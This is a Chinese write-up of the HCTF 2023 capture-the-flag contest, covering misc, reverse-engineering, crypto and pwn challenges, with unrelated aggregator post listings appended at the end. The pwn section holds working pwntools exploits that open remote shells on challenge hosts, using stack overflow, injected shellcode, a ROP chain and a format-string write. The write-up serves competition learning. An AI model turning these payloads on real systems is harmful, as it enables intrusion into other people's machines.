HCTF 2023 wp
HCTF 2023 wp
一、Misc
1.玩原神玩的
分析:附件为一张图片
观察最后一行,明显有flag的格式
搜索得知是
对照得flag为:hctf{yuanlainiyewanyuanshenhhh}
2.signin
附件为一段文本
WzEwNCwgOTksIDExNiwgMTAyLCAxMjMsIDY2LCA5NywgMTE1LCAxMDEsIDk1LCA3MCwgNjQsIDEwOSwgMTA1LCA0OSwgMTIxLCA5NSwgNTIsIDExNCwgMTAxLCA5NSwgODYsIDk3LCAxMTQsIDEwNSwgNDgsIDExNywgMTE1LCAxMjVd
base64解码后得到
[104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]
很明显是ASCII码
编写py脚本
ascii_list = [104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]
# 将ASCII码转换为字符
result = ''.join(chr(num) for num in ascii_list)
print(result)
得到hctf{Base_F@m1y_4re_Vari0us}
3.Bomb
先用nc连接,然后多尝试几次发现炸弹的分布比较固定,对照着通关即可拿到flag
二、Re
1.SDU的第一张考卷
将附件用 IDA pro打开
main函数里就有答案,最后一题需要猜,最多猜4次嘛()
flag:HCTF{ACCBDAADBB}
2. XOR
一个简单的异或,告诉了我们enc数组和密钥key,将enc数组中的元素与key逐位异或即可
写出py脚本:
enc = [ 16, 115, 38, 25, 3, 67, 109, 114, 23, 21, 103,52, 75, 111, 97, 90, 47, 45, 101, 32, 91, 83, 83,93, 60, 28, 0, 41, 93, 1, 109, 122, 38, 28, 17 ,40, 81, 66, 75, 67, 60, 98]
key = 'HCTF2023'
flag = ''
for i in range(len(enc)):
xor_result = enc[i] ^ ord(key[i % len(key)])
flag += chr(xor_result)
print(flag)
输出为:X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!
flag:HCTF{X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!}
3.Maze
放入IDA阅读代码
flag要进入一个check函数,我们继续阅读check函数
strcpy(
maze,
"********************U..**************.****..O*****...****.*******.******.*******........********************************");
count = 0;
init_location = 20;
while ( count <= 19 )
{
v1 = count++;
v2 = flag[v1];
if ( v2 == 100 )
{
++init_location;
}
else if ( v2 > 100 )
{
if ( v2 == 115 )
{
init_location += 15;
}
else if ( v2 == 119 )
{
init_location -= 15;
}
}
else if ( v2 == 97 )
{
--init_location;
}
}
return maze[init_location] == 79;
}
v2有wasd四种情况,想到上下左右四个方向
a 和 d 分别是位置-1和位置+1
而 w 和 s 是-15和+15
如果w s是向上下方向走的,则不难推出迷宫的规格为15×15
根据给出的字符串画出迷宫
***************
*****U..*******
*******.****..O
*****...****.**
*****.******.**
*****........**
***************
***************
代码里描述了起始位置为U,终点为O,则需要的操作为:
ddssaassdddddddwwwdd
flag:HCTF{ddssaassdddddddwwwdd}
三、pwn
1、gift
nc连接即可
2、Fly
先checksec一下
64位且可以进行栈溢出
然后我们阅读程序代码
read函数可以进行栈溢出,但进入if中我们需要找到一个字符使它的ASCII码值为-105
关于ASCII码为负值的原因可以参考:
https://blog.csdn.net/kelehaier/article/details/59560419
据此我们可以计算出实际的ASCII码为151
然后我们查看buf的栈
起始地址为0xD0
溢出值为:
offset = 0xD0+0x08
找到后门函数
后门函数起始地址为:
构造payload为:
payload = b'a'*offset+p64(0x40086E)
exp:
from pwn import *
r = remote("10.102.32.142", 23961)
ch = chr(151)
offset = 0xD0+0x08
r.sendline(ch)
payload = b'a'*offset+p64(0x40086E)
r.sendline(payload)
r.interactive()
成功拿到shell
3.sdu_L0g1n
同样先checksec一下
同样是64位且未开启栈保护
拖进IDA分析程序
发现有两次strcmp检测,我们需要绕过strcmp检测
可以通过后面加\x00
的方法绕过
找到后门函数:
观察程序结构,我们可以考虑从main函数通过read的栈溢出溢出到后门函数的位置,这样就可以劫持后门函数获取shell权限
经过反复调试,exp为
from pwn import *
r = remote("10.102.32.142", 26613)
offset = 0x40
r.sendline('SDUpwner\x00')
payload = b'N1nEmAN is C.o0O0OOOOL!\x00'+b'a'*offset +p64(0x4006C6)
r.sendline(payload)
r.interactive()
4.rdshellcode
打开附件,观察main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
int v5; // [rsp+68h] [rbp-8h] BYREF
int v6; // [rsp+6Ch] [rbp-4h]
setvbuf(stdin, 0LL, 0, 0LL);
setvbuf(stdout, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("I'm glad that you choose pwn");
puts("But i am n0t sure you really love pwn or not");
puts("Can't you prove yourself?");
puts("Tell me something....");
srand(0x2023u);
v6 = rand() % 2 - 60;
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("You DO Not Really Love PWN !");
exit(1);
}
puts("Nice!!!!, you have proved your love for pwn");
printf("It's time for me: %p\n", buf);
puts("Dot' you want to make friends with me?");
read(0, buf, 0x100uLL);
return 0;
}
v6
实际上是一个伪随机数,一直为-59,我们让v5
的值为-59即可
然后程序会输出一个地址
发现地址是随机化的,所以我们要用pwntools里的内置函数读取printf出的buf的地址
exp如下:
from pwn import *
p = remote("10.102.32.142",27714)
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p.sendline(b'-59')
p.recvuntil(b':')
buf = p.recvline()
print(buf)
#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
# shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
payload = b'A' * (0x70 + 8) + p64(int(buf,16) + 0x70 + 8 + 8) + shellcode
p.sendline(payload)
p.interactive()
buf的栈深度是0x70,64位程序+8,后面再+8是shellcode地址的长度,于是我们可以得到如下模板
payload = b'A' * (栈深度 + 8) + p64(int(栈地址,16) + 0x70 + 8 + 8) + shellcode
shellcode我们可以用pwntools生成
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
运行exp得到flag
5.fleshman
main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
memset(s, 0, sizeof(s));
init();
puts("We1c0me t0 SDU! Since y0u are f1esh here,te11 me s0mething ab0ut Y0u:");
puts("Your name: ");
read(0, s, 0x20uLL);
puts("Your ID: ");
read(0, s, 0x28uLL);
if ( !strcmp(s, "pwnner") )
{
printf("\nNice t0 mEEt y0u %s", s);
putchar(10);
vuln();
}
getflag();
return 0;
}
strcmp绕过+构造ROP链
用ROPgadget查找出pop rdi的地址
ROPgadget --binary 文件路径 --only "pop|ret" | grep rdi
然后套用rop链的模板
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
exp如下:
from pwn import *
p = remote("10.102.32.142",31698)
p.sendline(b'miyu')
p.sendline(b'pwnner\x00')
offset = 0x70 + 8
binsh = 0x402640
call_system=0x401392
pop_rdi = 0x401513
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
p.sendlineafter(b'WhAt can Y0u d0....',payload)
p.interactive()
得到flag
6.rememberornot
观察main函数,发现只要计算100道题的答案即可获得flag
直接上脚本
from pwn import *
p = remote("10.102.32.142",38108)
p.recvuntil(b':')
for i in range(100):
p.recvuntil(b':')
expression = p.recvline()
Expression = expression[:-3]
print(Expression)
ans = eval(Expression)
Ans = str(ans)
print(ans)
p.sendline(Ans)
p.interactive()
利用python内置的eval函数即可进行表达式的运算
flag:HCTF{Y0U_RE@l1Y_REMEMbER_Y0uR_mA7H968ce06ba4d9}
7.overflow
本题为最简单的栈溢出
vuln函数
int vuln()
{
int result; // eax
char v1[76]; // [rsp+0h] [rbp-50h] BYREF
int v2; // [rsp+4Ch] [rbp-4h]
v2 = 0;
result = gets(v1);
if ( v2 == 2 )
return system("cat flag");
return result;
}
直接对v1
进行溢出即可
exp:
from pwn import *
p = remote("10.102.32.142",22019)
offset = 0x50+8
system_addr=0x401225
payload = b'a'*offset+p64(system_addr)
p.sendline(payload)
p.interactive()
8. gift军训版
关键函数如下:
void __cdecl junxun()
{
char you; // [rsp+6h] [rbp-Ah] BYREF
char fesitival; // [rsp+7h] [rbp-9h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fesitival = -127;
puts("\x1B[33mMilitary training? When is the festival\x1B[0m");
__isoc99_scanf("%c", &you);
printf("You believe 0x%hhx is the fesitival?", (unsigned int)you);
if ( fesitival != you )
{
puts(" nononono...");
exit(1337);
}
puts(" yesyesyes!!!");
system("sh");
}
又是熟悉的ASCII码为负值的情况
实际的ASCII码为129
exp:
from pwn import *
p = remote("10.102.32.142",47318)
payload =chr(129)
p.sendline(payload)
p.interactive()
9.小明的家庭住址
本题核心点在于格式化字符串的利用
main函数:
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+0h] [rbp-70h] BYREF
char format[56]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("\n\x1B[33m---------------------------------------------");
puts("----------\x1B[0m\x1B[34mWelcome_to_address_SYSTEM\x1B[0m\x1B[33m----------");
puts("---------------------------------------------\x1B[0m\n");
puts("\x1B[32;5mWhere is XiaoMing's Home?\x1B[0m");
read(0, buf, 0x30uLL);
printf(buf);
puts("\x1B[32;5mAnd where is XiaoHong's?\x1B[0m");
read(0, format, 0x30uLL);
printf(format);
return 0;
}
对于这种printf
没有任何限制条件的情况,我们可以利用格式化字符串漏洞
首先我们利用%p
得到ret寄存器的地址
然后计算偏移
偏移为13
然后我们找到后门函数的地址0x40159C=4199836(十进制)
可以构造%4199836c%14$lln
exp如下:
from pwn import*
p = remote("10.102.32.142", 40682)
p.recv()
p.send(b'aaaa-%p')
p.recvuntil(b'Home?\x1b[0m\n')
addr = p.recv()[5:19]
Addr = int(addr ,16)
offset = 0x70+8
ret_addr = Addr+offset
payload = b'%4199836c%14$lln'+p64(ret_addr)
p.sendline(payload)
p.interactive()
四、Crypto
1.caesar
偏移量11
hctf{obviouslythisiscaesarcipher}
2.not_caesar
维吉尼亚密码,且没有告诉我们密钥
一个好用的网站 https://www.guballa.de/vigenere-solver
通过统计字符出现的频率来爆破出密码(文本足够长)
hctf{Icanbreakitwithoutkey}
3.MathⅠ
题目如下:
from Crypto.Util.number import *
from secret import prng
import os
flag = os.environ.get('FLAG', 'HCTF{this_is_a_sample_flag}')
#prng 参考2023新课标I卷P20
sys = prng()
def constraint():
time = 1000
sample_a = []
sample_b = []
for _ in range(time):
out = sys.next()
sample_a.append(out[0])
sample_b.append(out[1])
assert all([sample_a[i]-sample_a[i-1] == sys.d for i in range(1, time)])
assert all([sample_b[i-1] == (i**2+i)/sample_a[i-1] for i in range(1, time)])
assert 3*sample_a[1] == 3*sample_a[0]+sample_a[2]
return sum(sample_a[:777]+sample_b[:777])
def rsa_plus(m):
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 0x10001
m = bytes_to_long(m.encode())
r1 = sys.next()[0]
r2 = sys.next()[0]
c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
h = 2*p+3*q
return n, c, h
h1 = constraint()
n, c, h2 = rsa_plus(flag)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint1 = {h1}')
print(f'hint2 = {h2}')
"""
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
hint1 = 234850971.0
hint2 = 54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093
"""
constraint()函数描述了2023新课标I卷P20的题干部分
并且告诉我们h1是\(a_n\)和\(b_n\)的前777项和,即
\]
我们由此可以计算出\(a_n\)的通项公式为\(a_n=777n\)
根据time=1000,我们可以得出\(r_1\)和\(r_2\)是数列\(a_n\)的第1001项和第1002项,即:
r_2=777\times1002
\]
然后根据含有\(p,q\)的两个式子,可以得到一个二元方程组:
\]
其中\(n\)和\(hint2\)都是已知的,因此我们可以解出\(p\)和\(q\)。
from sympy import symbols, Eq, solve
import gmpy2
# 定义未知数
p, q = symbols("p q")
# 解方程
expr2 = [2*p+3*q-54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093, p*q-123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527]
r2 = solve(expr2, [p, q])
print("r2:", r2)
得到:
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
然后我们根据c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
进行解密
exp如下:
import gmpy2
from Crypto.Util.number import *
r1=1001*777
r2=1002*777
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
e = 0x10001
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
c1 = m*gmpy2.invert(r2, n)
m1 = pow(c1, d, n)
c2 = m1*gmpy2.invert(r1, n)
m2 = pow(c2, d, n)
print(long_to_bytes(m2).decode())
在共模下做除法我们需要求出r1和r2关于n的逆元\(r_1^{-1}\)和\(r_2^{-1}\)
最终解得flag为:
HCTF{D0_y0u_900d_4t_m47h?###}
五、Web
1.
HCTF 2023 wp的更多相关文章
- HGAME 2023 WP week1
WEEK1 web Classic Childhood Game 一眼顶真,直接翻js文件,在Events.js中找到mota(),猜测是获取flag,var a = ['\x59\x55\x64\x ...
- [HCTF 2018]admin wp
首先打开页面,查看源码 you are not admin考虑是否为需要登录 后发现右上方有个登录 考虑密码爆破,用户名为admin,密码未知 摔进burpsuite后爆破 后得到密码为123 登录得 ...
- [HCTF 2018]admin
前言: 最近在BUUCTF刷题,参照师傅们wp后复现一下 0x01 拿到题目后进去如下界面 发现有登录和注册界面,相比是要登录后才能查看想要的信息. 查看页面源代码,看看有没有上面提示,界面如下 提示 ...
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- wp已死,metro是罪魁祸首!
1.这篇文章肯定会有类似这样的评论:“我就是喜欢wp,我就是喜欢metro,我就是软粉“等类似的信仰论者发表的评论. 2.2014年我写过一篇文章,windows phone如何才能在中国翻身? 我现 ...
- 关于 WP 开发中.xaml 与.xaml.cs 的关系
今天我们先来看一下在WP8.1开发中最长见到的几个文件之间的关系.比较论证,在看这个问题之前我们简单看看.NET平台其他两个不同的框架: Windows Forms 先看看Window Forms中的 ...
- Android,ios,WP三大手机系统对比
从前,我以为.一个手机系统只是一个系统的UI风格,没什么不同的.然而,在我混合使用这三个手机系统之后,才明白,一个手机系统远不只一个UI那么简单,而真的是可以称之为一个“生态”. 首先祭出三台经典设备 ...
- 搜狗输入法wp风格皮肤
换了个nexus 发现输入法真的没有wp的好用 没办法,刚好搜狗输入法有定制皮肤的选项,所以自己做了个wp风格的输入法皮肤. 一点微小的工作 http://pan.baidu.com/s/1kVsHd ...
- 免费获取WP之类的开发者权限或免费使用Azure 2015-10-19
上一次弄wp真机调试的时候,卡住了,这里讲一下怎么解决(http://www.cnblogs.com/dunitian/p/4870959.html) 进这个网址注册一下:https://www.dr ...
- 【WP开发】读写剪贴板
在WP 8.1中只有Silverlight App支持操作剪贴板的API,Runtime App并不支持.不过,在WP 10中也引入了可以操作剪贴板的API. 顺便说点题外话,有人会说,我8.1的开发 ...
随机推荐
- Java判断一个数是不是质数
判断一个数是不是质数 做这个题之前我们需要先进行了解什么是质数 质数:只能被1和它本身整除的数 举一个简单的例子:数字5是不是质数呢? 我们可以进行分析: 解题思路:5可以分为1 2 3 4 5,我们 ...
- quarkus实战之一:准备工作
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 关于<quarkus实战>系列 <q ...
- 新版Google浏览器跨域Cookie解决方案
一.前言 针对Chrome版本67及以上 不能将其他域的Cookie传递过来 注意,这个里面的SameSite不能设为null,设空的话,还是会走默认值Lax 其中,SameSite的值可以填3个:S ...
- JVM 常见错误汇总
栈内存溢出 栈内存错误包括:栈帧过多(StackOverflowError).栈帧过大(OutOfMemoryError) StackOverflowError:如果线程请求的栈深度大于虚拟机所允许的 ...
- Nginx报错:nginx: [error] OpenEvent("Global\ngx_reload_14944") failed (2: The system cannot find the file specified)
nginx.exe -s reload 执行报错 错误原因: Nginx 尚未启动导致,执行 start nginx 命令开启Nginx nginx.exe -s reload 至此问题解决
- 何时使用MongoDB而不是MySql
什么是 MySQL 和 MongoDB MySQL 和 MongoDB 是两个可用于存储和管理数据的数据库管理系统.MySQL 是一个关系数据库系统,以结构化表格格式存储数据.相比之下,MongoDB ...
- 推荐工具!使终端便于 DevOps 和 Kubernetes 使用
如果你熟悉 DevOps 和 Kubernetes 的使用,就会知道命令行界面(CLI)对于管理任务有多么重要.好在现在市面上有一些工具可以让终端在这些环境中更容易使用.在本文中,我们将探讨可以让工作 ...
- C#中多线程的用法
1.在C#中使用多线程可以使用Thread 代码例子: public class ThreadExample { public static void ThreadProc() { for (int ...
- 10、Mybatis之缓存
10.1.环境搭建 10.1.1.创建新module 创建名为mybatis_cache的新module,过程参考5.1节 10.1.2.创建Mapper接口和映射文件 package org.rai ...
- 4.4 C++ Boost 数据集序列化库
Boost 库是一个由C/C++语言的开发者创建并更新维护的开源类库,其提供了许多功能强大的程序库和工具,用于开发高质量.可移植.高效的C应用程序.Boost库可以作为标准C库的后备,通常被称为准标准 ...